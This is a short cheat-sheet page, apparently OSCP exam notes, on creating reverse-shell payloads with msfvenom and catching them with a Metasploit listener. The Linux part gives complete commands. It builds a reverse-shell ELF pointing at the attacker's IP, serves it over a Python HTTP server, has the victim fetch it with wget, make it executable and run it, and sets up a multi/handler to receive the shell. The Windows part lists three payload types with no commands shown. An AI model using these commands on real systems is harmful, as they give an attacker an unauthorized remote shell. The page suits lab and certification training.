Making file and listener.
For Linux [OSCP allowed]
On kali linux
# This will make a reverse shell file.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$IP_KALI LPORT=443 -f elf > shell.elf
# This will start the listener in the background, allowing you to send the file later.
python3 -m http.server 8005 &
# Now start the listener with the below command.
msfconsole -q -x "use multi/handler; set payload linux/x64/shell_reverse_tcp; set lhost $IP_KALI; set lport 443; exploit"
On Victim Linux machine:
# Download the file from the server.
wget http://$IP_KALI:8005/shell.elf
# Give Permission for it to run.
chmod 700 shell.elf
# Run the file.
./shell.elfFor Windows [OSCP allowed]:
On the victim's Windows machine for running payload:
Type 1: Using powershell_reverse_tcp payload
On kali Linux
Type 2: Using x64/shell/reverse_tcp [Staged payload]
On kali Linux
Type 3: Using x64/shell_reverse_tcp [Non-Staged payload]
On kali Linux
Last updated